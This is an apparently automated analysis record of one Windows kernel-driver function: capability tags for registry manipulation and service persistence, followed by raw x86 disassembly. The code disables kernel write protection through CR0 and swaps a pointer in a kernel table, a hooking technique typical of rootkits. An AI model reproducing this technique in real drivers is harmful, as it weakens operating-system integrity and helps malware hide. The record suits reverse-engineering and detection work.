Function at 0x16840
Capabilities:
Delete registry key
Delete registry value
Persist via windows service
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push 0x68
push 0x1ec60
call fcn.000195f0
xor ebx, ebx
cmp byte [0x1f44c], bl
je 0x1685e
xor eax, eax
inc eax
jmp 0x169c3
mov eax, dword [0x1f5cc]
cmp eax, 6
je 0x16876
cmp eax, 5
jne 0x1687b
cmp dword [0x1f874], 2
jne 0x1687b
call fcn.0001551e
push 0x166c4
lea eax, [ebp - 0x50]
push eax
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
call esi
push 0x18
pop edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x6c], 0x240
lea eax, [ebp - 0x50]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x78]
push eax
push 1
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
cmp eax, ebx
jl 0x169c1
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push 0x80000000
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
push dword [ebp - 0x1c]
cmp eax, ebx
jl 0x169bb
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp dword [0x1f5cc], 6
jne 0x16924
cmp dword [0x1f874], 1
jne 0x16924
push 0x166f8
lea eax, [ebp - 0x60]
push eax
call esi
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
mov dword [0x1f448], eax
cmp eax, ebx
je 0x169c1
push dword [ebp - 0x20]
call eax
jmp 0x1692a
mov eax, dword [ebp - 0x20]
mov eax, dword [eax - 0x10]
mov dword [0x1f4e8], eax
mov ecx, dword [ebp - 0x20]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
push 0x1671c
lea eax, [ebp - 0x50]
push eax
call esi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x6c], 0x40
lea eax, [ebp - 0x50]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
push 0xf003f
lea eax, [ebp - 0x1c]
push eax
mov edi, dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
call edi
cmp eax, ebx
jl 0x169c1
push 0x167a4
lea eax, [ebp - 0x58]
push eax
call esi
mov dword [ebp - 0x78], 0x18
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x6c], 0x40
lea eax, [ebp - 0x58]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
push 0xf003f
lea eax, [ebp - 0x24]
push eax
call edi
cmp eax, ebx
jge 0x169cb
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
call fcn.0001962b
ret 4
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push 0x80000000
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
cmp eax, ebx
jge 0x169f6
push dword [ebp - 0x24]
mov esi, dword [sym.imp.ntoskrnl.exe_ZwClose]
call esi
push dword [ebp - 0x1c]
call esi
jmp 0x169c1
push 0x10
pop ecx
mov eax, dword [0x1f5cc]
cmp eax, 5
jne 0x16a0f
cmp dword [0x1f874], ebx
jne 0x16a0f
push 0xc
jmp 0x16a1f
cmp eax, 6
jne 0x16a20
cmp dword [0x1f874], 1
jne 0x16a20
push 0x14
pop ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 4]
mov dword [ebp - 0x3c], eax
mov edi, dword [eax + ecx]
mov dword [ebp - 0x40], edi
add edi, 4
mov eax, dword [edi]
mov dword [0x1f4cc], eax
cmp eax, 0x164ea
jne 0x16a5e
push dword [ebp - 0x24]
mov esi, dword [sym.imp.ntoskrnl.exe_ZwClose]
call esi
push dword [ebp - 0x1c]
call esi
mov ecx, dword [ebp - 0x20]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x169c1
mov dword [0x1f4fc], ebx
call sub.ntoskrnl.exe_PsGetCurrentThreadId
mov dword [0x1f4f0], eax
cmp dword [0x1f5cc], 6
mov eax, dword [ebp - 0x20]
je 0x16a7d
mov eax, dword [ebp - 0x3c]
mov dword [0x1f4c0], eax
mov dword [0x1f4bc], ebx
mov eax, cr0
mov dword [0x1f4d0], eax
and eax, 0xfffeffff
mov cr0, eax
mov eax, 0x164ea
xchg dword [edi], eax
mov eax, dword [0x1f4d0]
mov cr0, eax
mov dword [ebp - 4], ebx
push 0x16830
lea eax, [ebp - 0x48]
push eax
call esi
mov dword [ebp - 0x2c], 0x333630
mov edi, dword [ebp + 8]
lea esi, [edi + 4]
mov dword [ebp - 0x38], esi
push esi
lea eax, [ebp - 0x48]
push eax
call fcn.0001667a
mov byte [0x1f44e], 1
cmp dword [0x1f430], ebx
je 0x16afb
push 4
pop eax
mov dword [0x1f4f4], eax
pushal
push eax
push edi
push eax
push ebx
push esi
push dword [ebp - 0x1c]
call dword [0x1f430]
mov dword [ebp - 0x30], eax
popal
jmp 0x16b17
pushal
push 4
pop eax
push eax
lea ecx, [ebp - 0x2c]
push ecx
push eax
push ebx
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov dword [ebp - 0x30], eax
popal
mov byte [0x1f44e], 0
mov eax, dword [0x1f4bc]
mov dword [0x1f4dc], eax
pushal
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ZwFlushKey]
popal
xor esi, esi
mov dword [ebp - 0x34], esi
mov dword [0x1f4fc], esi
mov dword [0x1f4bc], esi
mov byte [0x1f44d], 1
push dword [ebp - 0x38]
lea eax, [ebp - 0x48]
push eax
call fcn.0001667a
cmp dword [0x1f434], esi
je 0x16b79
pushal
push dword [ebp + 8]
push esi
push esi
push 1
push dword [ebp - 0x38]
push dword [ebp - 0x1c]
call dword [0x1f434]
mov dword [ebp - 0x30], eax
popal
jmp 0x16b93
pushal
lea eax, [ebp - 0x28]
push eax
push esi
push esi
push 1
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
mov dword [ebp - 0x30], eax
popal
xor ebx, ebx
mov byte [0x1f44d], bl
mov eax, dword [0x1f4bc]
mov dword [0x1f4d4], eax
push 0x5a544157
mov esi, 0x100
push esi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 0x34], eax
mov dword [0x1f4bc], ebx
mov dword [0x1f4fc], ebx
cmp dword [0x1f438], ebx
je 0x16bed
pushal
mov eax, dword [ebp + 8]
lea ecx, [eax + 0x100]
push ecx
push esi
push eax
push 1
push ebx
push dword [ebp - 0x1c]
call dword [0x1f438]
mov dword [ebp - 0x30], eax
popal
jmp 0x16c04
pushal
lea ecx, [ebp - 0x28]
push ecx
push esi
push eax
push 1
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ZwEnumerateKey]
mov dword [ebp - 0x30], eax
popal
mov eax, dword [0x1f4bc]
mov dword [0x1f4c4], eax
xor edi, edi
push edi
push dword [ebp - 0x34]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov dword [0x1f4fc], edi
push 0x5a544157
mov esi, 0x100
push esi
push edi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 0x34], eax
mov dword [0x1f4bc], edi
mov byte [0x1f44f], 1
cmp dword [0x1f43c], edi
je 0x16c64
pushal
push dword [ebp + 8]
push esi
push dword [ebp - 0x38]
push 1
push edi
push dword [ebp - 0x1c]
call dword [0x1f43c]
mov dword [ebp - 0x30], eax
popal
jmp 0x16c7b
pushal
lea ecx, [ebp - 0x28]
push ecx
push esi
push eax
push 1
push edi
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ZwEnumerateValueKey]
mov dword [ebp - 0x30], eax
popal
xor ebx, ebx
mov byte [0x1f44f], bl
mov eax, dword [0x1f4bc]
mov dword [0x1f4f8], eax
push ebx
push dword [ebp - 0x34]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov dword [0x1f4fc], ebx
mov dword [0x1f4bc], ebx
push dword [ebp + 8]
lea eax, [ebp - 0x48]
push eax
call fcn.0001667a
mov byte [0x1f450], 1
cmp dword [0x1f444], ebx
je 0x16cd6
mov eax, dword [ebp - 0x1c]
mov dword [0x1f4f4], eax
pushal
push dword [ebp + 8]
push dword [ebp - 0x1c]
call dword [0x1f444]
popal
jmp 0x16ce5
pushal
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ZwDeleteValueKey]
popal
mov byte [0x1f450], 0
mov eax, dword [0x1f4bc]
mov dword [0x1f4d8], eax
pushal
push dword [ebp - 0x24]
call dword [sym.imp.ntoskrnl.exe_ZwDeleteKey]
popal
pushal
push dword [ebp - 0x24]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
popal
mov eax, dword [ebp - 0x20]
mov dword [0x1f4c0], eax
xor eax, eax
mov dword [0x1f4fc], eax
mov dword [0x1f4bc], eax
cmp dword [0x1f440], eax
je 0x16d35
pushal
push dword [ebp - 0x1c]
call dword [0x1f440]
popal
jmp 0x16d40
pushal
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ZwDeleteKey]
popal
mov eax, dword [0x1f4bc]
mov dword [0x1f4e4], eax
jmp 0x16d53
or dword [ebp - 4], 0xffffffff
mov eax, cr0
mov dword [0x1f4d0], eax
and eax, 0xfffeffff
mov cr0, eax
mov eax, dword [0x1f4cc]
mov ecx, dword [ebp - 0x40]
add ecx, 4
xchg dword [ecx], eax
mov eax, dword [0x1f4d0]
mov cr0, eax
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov ecx, dword [ebp - 0x20]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor esi, esi
cmp dword [0x1f4dc], esi
je 0x169c1
cmp dword [0x1f4d4], esi
jne 0x16dbe
cmp dword [0x1f5cc], 6
jne 0x169c1
cmp dword [0x1f874], 1
jne 0x169c1
cmp dword [0x1f4c4], esi
jne 0x16dd3
cmp dword [0x1f5cc], 6
jne 0x169c1
cmp dword [0x1f4f8], esi
jne 0x16df4
cmp dword [0x1f5cc], 5
jne 0x169c1
cmp dword [0x1f874], esi
jne 0x169c1
cmp dword [0x1f4d8], esi
je 0x169c1
cmp dword [0x1f4e4], esi
je 0x169c1
call fcn.00014cee
cmp eax, esi
jne 0x16e74
mov eax, dword [0x1f4dc]
cmp eax, esi
je 0x16e24
push eax
call fcn.00014bb0
mov eax, dword [0x1f4d4]
cmp eax, esi
je 0x16e33
push eax
call fcn.00014bb0
mov eax, dword [0x1f4c4]
cmp eax, esi
je 0x16e42
push eax
call fcn.00014bb0
mov eax, dword [0x1f4f8]
cmp eax, esi
je 0x16e51
push eax
call fcn.00014bb0
mov eax, dword [0x1f4d8]
cmp eax, esi
je 0x16e60
push eax
call fcn.00014bb0
mov eax, dword [0x1f4e4]
cmp eax, esi
je 0x16e6f
push eax
call fcn.00014bb0
call fcn.00014e1c
xor eax, eax
inc eax
mov byte [0x1f44c], al
jmp 0x169c3